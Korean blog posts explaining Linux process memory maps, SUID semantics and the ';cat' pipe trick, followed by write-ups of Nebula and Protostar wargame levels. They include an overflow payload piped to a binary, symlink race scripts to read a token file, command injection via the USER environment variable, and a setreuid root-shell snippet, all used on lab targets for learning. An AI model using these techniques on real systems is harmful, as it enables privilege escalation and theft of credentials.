/* 출처
 http://sosal.tistory.com/
 * made by so_Sal
 */

- 프로그램 안에서, Code segment, data segment,
                          stack segment, heap segment, .bss 등을 살펴보겠습니다.

"유닉스 계열은 모든 것이 파일, 프로세스 이다. " 라는 말을 무수히 들어보셨을 것입니다.
그렇다면 중요한 정보들이 어디에 파일로 저장되어 자리하고 있는지 알게된다면
쉽게 정보들을 찾을 수 있을 것 같습니다.

proc : process의 줄임말이며, 이곳에 프로세스의 정보들이 저장됩니다.
사용자 프로세스의 정보들을 이곳에서 얻을 수 있으며 심지어 조작도 가능하다는 점에서
/proc 파일시스템은 굉장히 유용합니다.




위 그림에서 보는바와 같이 (pstree 명령어) 모든 프로세스의 부모 프로세스는 1 (init) 프로세스입니다.
하지만 이녀석이라고 특별하지는 않습니다. ls 명령어를 쳐보니 역시 다른 프로세스와 마찬가지로
프로세스 정보들을 가지고 있는 파일들이 주루룩 뜨네요.

proc 디렉토리에서 ls 결과입니다.



/proc/self : 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉토리




그럼 프로그램을 만들어, maps에 어떤 정보들이 저장되는지 확인 해 볼까요?




실행하면, maps 주소까지 보여줍니다.



<실행결과>
Address of function main is :  0x8048414 // code segment
Address of gloval value is : 0x8049708  // data segment
Address of local value is : 0xbfcd4180  // stack

<maps> 
메모리 위치         | 권한 | offset | device | inode / path
08048000-08049000 r-xp 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
08049000-0804a000 rw-p 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
b7ef3000-b7ef5000 rw-p b7ef3000 00:00 0
b7f01000-b7f02000 rw-p b7f01000 00:00 0
bfcc1000-bfcd6000 rw-p bffea000 00:00 0          [stack]

main함수의 주소가 <maps>의 첫번째 주소 사이에 위치한 사실을 알 수 있습니다.

이 사실은 GDB와 같은 디버거를 사용하여 프로그램을 디버깅 하는경우 중요합니다.
// Code segment 영역으로, r-xp 읽기, 실행 권한이 주어져있음. (실행명령어 저장장소)

두번째, gloval value의 주소가 <maps>의 두번째 주소에 위치한 사실을 알 수 있습니다..
이곳은 data segment로, rw-p 읽기 쓰기 권한이 주어져있습니다.. (데이터 저장장소)
전역변수 이외에도 스택변수, 힙변수가 있는데 이 데이터들은 다른곳에 저장됩니다..

스택변수로 local_value는 [stack] 이라는 경로에 저장되는데,
스택은 높은주소에서 낮은주소로 내려가게됩니다..
즉, 이번 주소가 0xbfcd4180 이었다면, 다음 4바이트 변수의 주소는 0xbfcd417c 일것입니다.

다음의 소스에서 bss와 Heap segment를 살펴보겠습니다.


실행결과

Heap segment는 힙 변수를 저장합니다.
new(), malloc()와 같은 API를 통해 동적으로 할당한 메모리들이 힙 변수입니다.
malloc, new 등의 API는 brk() 세스템 호출을 통해
세그먼트 끝을 연장하여 요청받은 메모리를 할당합니다.
이 세그먼트에는 bss 섹션도 들어있는데, 초기화되지 않는 전역변수들이 저장되는곳입니다.
하지만 위 프로그램 결과에서는 bss가 힙 세그먼트에 저장되어있지 않고, 데이터 세그먼트에 있는데
전역변수의 수가 작은탓에 데이터세그먼트 끝에 사용하지 않는 공간이 생겼기 때문에
OS가 낭비되는 공간을 줄이는 과정에서 생긴 결과입니다.

readelffh bss 섹션위치를 살펴봐도, bss전역변수가 .bss 위치에 있다는것을 알 수 있습니다.


brk 포인터는 현재 설정된 데이터 세그먼트 최하위 주소이며, 인수 0을주고 sbrk() 를 호출하여 얻습니다.
(brk도 bss 전역변수와 같이 데이터 세그먼트에 저장될 수 있다.)

malloc 호출 이후에, heapseg 항목이 생긴걸로 봐서,
동적으로 세그먼트 끝을 연장했다는 사실을 알 수 있습니다.
malloc(1024) -> sbrk 포인터가 0x1000 크기만큼 증가함


======================== 추가 ======================================

http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps



Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
  • address - This is the starting and ending address of the region in the process's address space
  • permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a '-' will appear instead of the 'r'/'w'/'x'. If a region is not shared, it is private, so a 'p' will appear instead of an 's'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
  • offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it's just 0.
  • device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
  • inode - If the region was mapped from a file, this is the file number.
  • pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap][stack], or [vdso][vdso] stands for virtual dynamic shared object. It's used by system calls to switch to kernel mode. Here's a good article about it.

You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.






'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

 

gdb 로 분석해보면 위에 부분이 encryption 하는 루틴이다.

buf에 있는 문자열은 token에서 구한 암호화된 문자열이다.
그것을 아까 분석한 루틴을 복호화시키는 부분을 넣어서 풀면 끝!

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

 

저기 소스코드는 있지만 가려진 부분을 보면 token값을 얻을 것이다.
gdb에도 레지스터 값을 변경할 수 있는 명령어가 있다.


set $eax = 1000하면 끝.

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31


아래 사이트 가보면 문제 있음.

http://uberskill.blogspot.kr/2012/09/nebula-level11.html

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
Nebula [Level13]  (1) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

[출처] http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=732



결론은 , '|' 때문에 ;cat 을 붙여야만 되는 겁니다.


ㄱ) (  A 명령  ) | ./attackme   이런 입력을 했다면.


(perl -e 'print "\x32\xff\xff\xbf . . ..";cat)|./attackme 라는 예를 들죠.


ㄱ) 과 같은 방법을 통해서..


인자전달 방식이 아닌, 표준입력(키보드)을 통해 따로 입력을 받는 


attackme 프로그램 같은 경우라도  '|' 을 통해 변수에 내가 원하는 값을 넣어서 


오버플로우를 시킬수는 있었지만.


attackme 의 코드 중에 system("/bin/sh") 에 의해 생성되는 프로세스 또한


| 기준을 왼쪽에 있는. 다시말해서 ( A ) 자리의 프로세스의 표준 출력 내용을  


입력받으려고 하는거죠..



*원래 쉘(/bin/sh) 는 프롬프트 $ 를 띄우고 표준입력(키보드) 로부터

입력을 기다리는 것이지만...  위의 경우에는 | 때문에

키보드 대신 ( A ) 자리의 프로세스의 표준출력 내용을 

입력받으려 한다는 거죠..



헌데, ( A )자리에 있던 프로세스가 종료되면 더이상 입력받을 내용이 없기 때문에 종료 됩니다.


따라서 ,파이프 연결을 지속적으로 유지시키기 위해서


cat 을 하나 더 집어넣어서 계속적으로 ( A ) 자리에서 표준출력을 시킬수 있도록


만들어 주는거죠.. 그게 바로 ;cat 의 역할 입니다.



그림으로 나타내어 보자면..





;cat 때문에

cat실행되고 키보드로부터 입력기다리면서

입력받은내용을 표준출력으로

보내고 , 이것은 파이프를 따라 전해집니다.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
suid 동작  (0) 2015.10.30

 

 

이 문제 뭐냐 ㅋㅋㅋ5초만에 품…
이 문제의 의도대로 푼 것 같지 않아서 일단 다시 풀어보겠습니다.

 

우선 처음에 홈디렉토리에 x라는 파일이 있길래
cat x 를 해본 결과

 

이런식으로 너무 아무것도 보이지 않아서 cat x | more 명령어를 해봐서 혹시나 적혀있는게 있을까? 생각해서 봤는데

딱.. 뜨네요 그래서 바로 flag10 비번으로 넣었더니 성공…
일단 처음은 이렇게 풀었고 원래 의도대로 다시 풀어보도록 하겠습니다.

  

[참고]소켓 

http://z1tt3n.tistory.com/16
http://z1tt3n.tistory.com/15

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

 

int main(int argc, char **argv)

{

  char *file;

  char *host;

 

  if(argc < 3) {

    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

    exit(1);

  }

 

  file = argv[1];

  host = argv[2];

 

  if(access(argv[1], R_OK) == 0) {

    int fd;

    int ffd;

    int rc;

    struct sockaddr_in sin;

    char buffer[4096];

 

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

 

    fd = socket(AF_INET, SOCK_STREAM, 0);

 

    memset(&sin, 0, sizeof(struct sockaddr_in));

    sin.sin_family = AF_INET;

    sin.sin_addr.s_addr = inet_addr(host);

    sin.sin_port = htons(18211);

 

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {

      printf("Unable to connect to host %s\n", host);

      exit(EXIT_FAILURE);

    }

 

#define HITHERE ".oO Oo.\n"

    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {

      printf("Unable to write banner to host %s\n", host);

      exit(EXIT_FAILURE);

    }

#undef HITHERE

 

    printf("Connected!\nSending file .. "); fflush(stdout);

 

    ffd = open(file, O_RDONLY);

    if(ffd == -1) {

      printf("Damn. Unable to open file\n");

      exit(EXIT_FAILURE);

    }

 

    rc = read(ffd, buffer, sizeof(buffer));

    if(rc == -1) {

      printf("Unable to read from file: %s\n", strerror(errno));

      exit(EXIT_FAILURE);

    }

 

    write(fd, buffer, rc);

 

    printf("wrote file!\n");

 

  } else {

    printf("You don't have access to %s\n", file);

  }

} 



 

 

 


vmware로 우분투 켜서 nc –l 18211 로 listen상태로 놓고 했더니 성공!


############################################################################################################ 


다시품..


찾아보니 이 문제는 이 의도가 아니라 race condition 문제이다 
access함수를 사용하여 해당 파일에 대한 접근권한을 체크하고 open함수를 사용한다. 
open함수는 어떠한 파일이 와도 사용할 수 있음(root 파일이여도..r권한만 있으면..)

(위 문제를 예를 들어 설명하자면 access함수를 사용하게 되면 level10계정이 해당 파일을 read할 수 있냐는 의미. 그리고 그 파일을 open해야 함)
그럴 경우 access함수와 open함수 사이에 아주 엄청나게 짧은 시간이지만 취약점이 생긴다.
예를 들어 루트가 open하고자 하는 파일이 만약 해커에 의해 만들어진 심볼릭링크 파일이라면 문제가 발생하게 된다.
이때 심볼릭 링크 파일로 루트 파일을 링크 걸게 될 경우 결국 해커는 루트의 권한으로 조작할 수 있게 된다.


#!/bin/sh
for i in `seq 1000`; do echo "VIDOCQ" >> ~/foo ; done
/home/flag10/flag10 ~/foo 192.168.20.128


#!/bin/sh
rm ~/foo
ln -s /home/flag10/token ~/foo




'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30

 

Pcap 파일이 있길래 칼리리눅스로 scp 명령어를 사용하여 옮기고 wireshark로 덤프내용을 봤습니다.

 

 

Tcp stream을 보았더니

backd00Rmate

'System Hacking > Exploit-exercise' 카테고리의 다른 글

nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30

#Stack00

Solution

#Stack01

Solution

#Stack02

Solution

#Stack03

Solution

#Stack04

Solution

#Stack05

#Stack06

#Stack07

#Stack08

#Stack09

#Stack10

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30

 

아무것도 없다.. 그래서 혹시 숨김파일로 있지않을까? 생각해서 ls –al 을 해봤는데

역시 .ssh파일이 존재했습니다. 그런데 내부에 아무것도 없었다. 그럼 flag05에도 한번해보자.

 

.backup 디렉터리와 .cache , .ssh 디렉터리가 존재했습니다.

퍼미션을 보면 .backup 디렉터리만 접근할 수 있습니다.

 

 

 

내부에 압축파일이 존재했고, tar –xzvf backup-19072011.tgz 명령어를 사용하여 압축을 해제하려고 했지만


퍼미션 문제 때문에 해제를 할 수 없었습니다.

 

 

그래서 압축리스트 들을 살펴보았습니다.

 

이 파일이 r권한이 있으니까 level05 홈디렉터리에 복사해 온 다음 거기서 압축을 풀면
.ssh 디렉터리도 이미 존재하겠다 딱이겠네요.

 

 

압축이 제대로 풀렸고 .ssh 디렉토리 내부를 보면 다음과 같습니다.

이 파일들을 봤으면 바로 ssh 접속해봐야죠

끝!

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29

 

읽을 파일을 파라미터로 주고 flag04를 실행시켜주면 파일 내용을 읽을 수 있다.

이것을 이용해서 쉘을 따야 하는데 ….음 생각좀 해봐야지

 

 

 

이 문제를 좀 시간투자를 했는데 분석도 안하고 그냥 동적으로 어떻게 실행되는구나 하고

풀다보니까 시간이 오래걸렸습니다.운도 없지…

보자마자 심볼릭 링크를 활용하면 되겠구나 싶어서 ln –s /home/flag04/token /tmp/token 이렇게

해주었는데 안되서 한참 고민하다 gdb 로 분석해보았는데 strstr함수가 있었습니다.

내용을 보니 인자 값으로 받은 문자열 중에서 token이라는 문자열이 있으면 안된다고…..

하필 링크파일명이 token이 들어가서 안되었습니다.

 

 

이렇게 심볼릭 링크 파일이 token이 안들어가게 해주면!!

 

Flag04의 password를 얻었습니다 J

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

 

 

쉘스크립트가 있습니다.
vi 편집기로 열어보도록 하겠습니다.

for문으로 writable.d 디렉터리의 파일을 하나씩 I 변수에 저장시켜줍니다.
그리고 ulimit와 bash –x 명령어를 통해서 음.. 뭐하는 것인지 찾아보겠습니다.

 

Ulimit –t 옵션은 cpu time 5로 제한 한 것 같습니다.
정확히 아직도 무슨동작인지 모르겠으나, 일정시간을 두고 반복하는 것 같다.

그리고 bash –x 명령어를 보면 다음과 같다

디버그 모드로 bash 를 실행시키는 것이라고… 되있다.(2번째 줄을 보면 command / script만 실행 가능한 것 같다.)

 

 


어찌 됬건 cpu time 동안 flag03 계정 권한으로 수행되니까 writable.d 디렉터리에 위 스크립트를 넣고
writable.sh를 실행하게 되면 … 이게 이상하다 바로 안되고 가만히 딴짓하고 오면 되있다ㅡㅡ아직도 그이유모르겠음

 

  

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29


이번에는 SUID에 대해 잘못알고 있었던 내용으로 인해 꽤 오래 삽질했다....


환경

1. /bin/sh 파일 ( rws r-x r-x root root ...)

2. vi /etc/shadow 명령어를 통해서 변경을 하려함.

3. 변경 불가



잘못알고있던 내용 

1. SUID가 걸려있으므로 실행 시 process 소유주 권한으로 파일이 실행될 것이다.

2. vi /etc/shadow 하면 현재 root권한이므로 수정가능할 것이다.




지금부터 정리하겠습니다.




SUID 동작 과정


SUID가 걸린 프로세스를 실행하면 바뀌는것은 EUID가 바뀌는것이다. RUID(즉, uid)는 변함없다. 

자, 지금부터 A(/bin/sh)  B(vi /etc/shadow)라고 가정하자. 물론 A는 SUID걸린 프로그램이다.


1. user1계정이 A를 실행하면 (EUID: root // RUID: user1) 이다.

2. 이때 새로운 프로세스 B를 실행시키면 EUID는 RUID에 맞춰 변경한다. (최근커널에는 보안상)

   (EUID: user1 // RUID: user1)

3. 결국 /etc/shadow는 root파일인데 user1권한으로 vi를 하게 되는 꼴이된다.

4. 결국 수정 불가!!!



하지만 RUID를 못바꾸는 것은 아니다. 아래 예제를보자

-----------------------------------------------------------------------

#include<stdio.h>
int main()
{ 

setreuid(0 , 0);

system("/bin/sh");

return 0;

}

-----------------------------------------------------------------------


이번에는 A라는 프로세스를 위 예제라고 가정하자. 여기서도 마찬가지로 

(rws r-x r-x) 권한을 가지고 있다.


1. user1계정이 저 프로그램을 실행하면 EUID: root // RUID: user1 일 것이다.

2. 그 후 setreuid(0,0)로 인해 현재 EUID:root이니까 RUID도 user1 -> root로 바뀐다.

3. system("/bin/sh")을 실행하면 EUID,RUID 모두 root로 /bin/sh를 실행하게된다.

4. RUID가 root인 쉘 실행 성공!!!!!

5. 프로그램이 종료되면 setreuid의 효력은 없어지고 원래대로 돌아옴



[참고]

https://kldp.org/node/69198

http://idkwim.tistory.com/78




마지막으로 정리를 하자면

일반적으로 EUID와 RUID는 같다. 그렇지만 Setuid가 걸린 프로세스를 실행하게 된다면 EUID는 실행시킨 프로세스의 소유주 권한으로 변경이 된다.

그러다가 실행시킨 프로세스 내부에 어떤 동작을 하는 코드를 만난다? --> ruid가 euid로 변경되는 함수가 없는 한 ruid권한으로 실행된다.  
setuid가 걸린 프로세스 소유주 권한으로 동작시키고 싶으면 ruid를 setuid(geteuid())이런식으로 ruid를 euid로 맞춰줘야함.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

실행시켜보니 다음과 같이 출력되었습니다.
gdb로 디버깅 해보도록 하죠.

 

Level01과 별반 다른게 없습니다.
SUID,SGID로 설정하고 getenv함수를 통해 어떤 환경변수 값의 주소를 구한 뒤,
asprintf함수를 사용했습니다. Sprintf하고 포맷이 같은 함수이네요.

먼저 getenv함수부터 보겠습니다.


getenv("USER")라는 것을 알 수 있고 그 리턴 값을 보면 level02를 얻을 수 있습니다.

 

 

그리고 asprintf 함수를 분석해보도록 하겠습니다.

asprintf의 파라미터로는

#1 – 아직안들어감

#2 – "/bin/echo %s is cool"

#3 – level02 ßgetenv함수 결과 값

 

 

이렇게 수행된 후 system함수가 호출된다.

결과적으로 System("/bin/echo level02 is cool"); 인 것을 알 수 있다.

그럼 환경변수 USER에 ;\"/home/level02/test""로 변경해줘서 test파일이 실행되게 해줍니다.


그럼 system("/bin/echo ; "/home/level02/test" is cool")이 되고,
결과적으로 echo명령이 수행된 다음 /home/level02/test 명령이 수행되어 쉘을 얻을 수 있습니다.


<test.c 소스코드>

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level01]  (0) 2015.10.29

+ Recent posts